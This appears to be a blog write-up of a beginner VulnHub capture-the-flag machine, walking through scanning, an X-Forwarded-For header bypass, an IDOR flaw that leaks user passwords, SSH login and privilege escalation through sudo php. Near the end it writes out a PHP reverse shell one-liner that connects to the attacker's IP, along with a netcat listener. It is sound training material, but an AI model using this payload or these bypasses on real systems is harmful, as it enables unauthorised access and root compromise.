In this article, we will solve a Capture the Flag (CTF) challenge which was posted on VulnHub. As you may know from previous articles, VulnHub is a platform which provides vulnerable applications/machines to help users gain practical hands-on experience in the field of information security.
You can check my previous articles for more CTF challenges. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article.
As per the information given on VulnHub, this was posted by the author TW1C3. This is a beginner-level CTF and the challenge consists of capturing two flags and getting access to the root. Prerequisites would be having some knowledge of Linux commands and ability to run some basic pentesting tools.
Please note: For all these machines, I have used Oracle VirtualBox to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.
So now that we have all the information that we need, let’s get started with the challenge.
This is the summary of the steps which I used in solving this CTF.
- Getting the target machine IP address by running the Netdiscover command
- Scanning open ports by using Nmap
- Enumerating HTTP service with Dirb
- Bypassing website access restrictions
- Finding and exploiting vulnerabilities
- Getting the root access
After downloading and running this machine on VirtualBox, the first step is to explore the VM by running the netdiscover command to get the IP address of the target machine. The command output can be seen in the screenshot given below. [CLICK IMAGES TO ENLARGE]
Command used: netdiscover
In the above screenshot, we can see all the available network devices connected to the network in the netdiscover scan results. I checked each device one by one and the highlighted one was identified as our target machine IP address. The target machine IP address is 192.168.1.21 and I will be using 192.168.1.23 as an attacker machine IP address where I have installed Kali Linux.
Please note: The target and attacker machine IP addresses may be different, as per your network configuration.
After getting the target machine IP address, the first step is to find the open ports and services available on the machine. I conducted an nmap full port scan by using the -p- option. I also used the -sV option, which shows all the running version of the services. The nmap results can be seen in the screenshot given below.
Command used: namp -p- -sV 192.168.1.21
In the above screenshot, we can see that there are two open ports on the target machine. Port 22 is available, which is used for the SSH service. Port 80 is also available—this is used for the http service. Let’s start exploring the open ports.
I decided to explore the HTTP service first, as I always find myself intrigued to identify new vulnerabilities. I simply ran the target machine IP address on the browser and was presented with a nice message.
In the above screenshot, we can see the default page. The message displayed on the page says that the site can only be accessed locally. If this message is true, it would mean that I need access to the target machine first to be able to run the web application.
But I decided to move further exploring the web application. In order to do that, I ran the dirb tool on the website. Dirb is a web application enumeration tool to identify available files and folders on the target web application. The results of the scan can be seen in the following screenshot:
Command used: dirb http://192.168.1.21
In the output above, we can see that there is a file called “robots.txt” and two different directories available on the web application. We also found that there was a directory listing enabled on the target machine. I checked the identified files and directories on the browser. When I opened the “robots.txt” file, it gives a clue which can be read in the following screenshot.
As we can see above, from the entries in the “robots.txt” file, I found that there is a file named “heyhoo.txt” available on the target system. I thought it might be helpful for further clues into the target machine. I opened the file, which had another message.
As we can see above, we couldn’t get anything interesting from the above page that could help us further to solve this CTF. I then checked the HTML content of the pages to look for further hidden clues. There was an interesting piece of information in the comment section.
We can see a message in the comments which tells us that we can try to use the “x-forwarded-for” header to access the website. I forwarded this request on Burp Repeater for doing further analysis to bypass the website access restrictions.
After sending the request into the repeater, I added the “x-forwarded-for header: localhost”. This time, we got a different response from the target server which can be seen in the following screenshot.
The above screenshot shows that the server has now redirected us to another page. To follow the redirection, I used the “forward redirection” button, which gives a 200 response code. This means that we have received a response from the server. However, it shows the same message again. This can be seen in the following screenshot.
When I observed the request again, I found that the “x-forwarded-for” header was missing from the request. This means that we have to add the “x-forwarded-for:localhost” header in each request. This may consume a lot of time if we do this manually each time.
In order make our job easier, we have multiple ways; for example, there are several browser plugins available that can be installed on the browser for automatically adding custom headers. But as I was already working on Burp Suite, I decided to use it for this purpose.
There are a lot of ways through which we can add custom header on Burp Suite. However, Burp Suite comes with lots of extensions which could help us to achieve this. I configured the Add Custom Header plugin from the Burp Suite Store, which can be seen in the following screenshot.
To open the Burp Suite store, first we go to the Extender tab and click on Burp Suite store. This burp suite store is only available for paid version, but we can also download the “Add Custom Header” extension from the Burp website and install it into the free version of Burp. The website where it can be downloaded is given in the reference section of this article.
After clicking on the install button, it will install into the Burp Suite and a new tag would appear in the main menu, which can be seen in the screenshot given below.
The above screenshot shows that the Add Custom Header module is added in the Burp Suite menu bar and it provides options to add the Header name and other values. So, we have the header details as per our requirement, and it can be seen in the highlighted area of the above screenshot.
Now we have to enable this in the Burp proxy. For this, we go to the Project Options tab and click on “sessions.” Here, we can add the session handling rules, as per our requirement.
After that, we need to click on the “Add” button and a window will open where we have to create a rule description. I added “Add Custom Header.”
We have added the Rule description. After this, we need to add the rule actions. I clicked on the “Add” button in the “Rule Actions” module. Here, we select “Invoke a Burp Extension” option. It will again open a new window, where we select “Add Customer Header.” It can be seen in the following screenshot.
This completes all the steps to activate the custom header extension in the Burp proxy requests. After adding the above steps, the session handling rule description would look like this:
Next, we have click on the “Scope” tab and it will again show some options.
In this section, we have to check “Proxy (use with caution)” box and in URL Scope, we have to select “Include all URLs.” After that, we click on the “OK” button to save all the changes. It will create a new session handling rule, which will add our custom header into all the browser requests. The newly added rules can be seen in the following screenshot.
Now we are done with all the settings to bypass the website access restrictions. Let’s open the website on the browser and see if it works.
The website is working, and it is showing login and registration options. In the next step, we will be finding and exploiting vulnerabilities in the application.
I started testing the website for possible vulnerabilities. I tried LFI and RFI on the input parameters but that did not give any results. I also tried some default username and password combinations, with no luck. After that, I tried SQL injection to bypass the login page, but all these techniques did not seem to be working here.
Therefore, I decided to register on the website with random details. The best part was that it asked for username and password to be entered by the user. I registered a user as per details given below.
As can be seen in the above screenshot, the registration was successful. I created a user called “hehe” and logged into the application.
I explored the website and found that in the profile section of the website, the username and password of the user were being displayed. However, the interesting part was that the user ID is being passed in the URL, which can be seen in the highlighted area of the following screenshot.
To further examine this URL, I opened Burp Repeater and tried to change the value of the “user_id” parameter. It returned a different user’s data in the server response:
The above highlighted area shows that when I changed the “user_id” value to “1”, it returns another user’s username and password. I automated this process by using the Burp Intruder and identified all the available users in the application. It can be seen in the following screenshot.
We already know from the Nmap scan that the SSH port is open on the target system. I tried these username and password combinations for the SSH login manually. One worked and allowed me to log into the system.
Command used: ssh firstname.lastname@example.org
The username and password that I used for the above SSH login are given below:
- Username: alice
- Password: 4lic3
I now have the SSH access into the system as user “alice,” but our target was to get the root access. In the next step, we will do some more enumeration to get the root.
I first checked for the operating system and other components details to look for any vulnerable packages. This can be seen in the following screenshot.
- uname -a
- cat /etc/issue
I searched a local exploit online for the above version of the operating system and got a few results. However, none of them could work on our target machine.
Next, I checked the commands that the current user “alice” could run as root. The results for the same can be seen in the following screenshot.
Command used: sudo -l
Alice can run “/usr/bin/php” with access to root. This is a huge privilege escalation flaw. I quickly added a reverse shell payload on the target machine and set up my attacker machine to receive connections on the provided port.
- nc -lvp 1234
- sudo php -r ‘$sock=fsockopen(“192.168.1.23”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
After that, I ran the reverse shell payload command on the target machine. The payload was successfully executed and provided the root access of the target machine. I verified the same with the id command that can be seen in the above screenshot.
I started exploring the target machine as user root and it took no time to find me the first flag in the “root” directory. The flag name was “flag2.txt” and it can be seen in the screenshot given below.
Command used: cat flag2.txt
We are almost done with the challenge. As described by the author of the challenge, there are two flags, so let’s try to find the second flag.
After spending some more time and exploring many other files and directories, I finally got the second flag in the user folder “alice”. The flag named “flag1.txt” can be seen in the following screenshot.
Command used: cat flag1.txt
This completes the CTF! We have read both flags and gained root access on the target system.
Hope it was a fun learning experience for you all.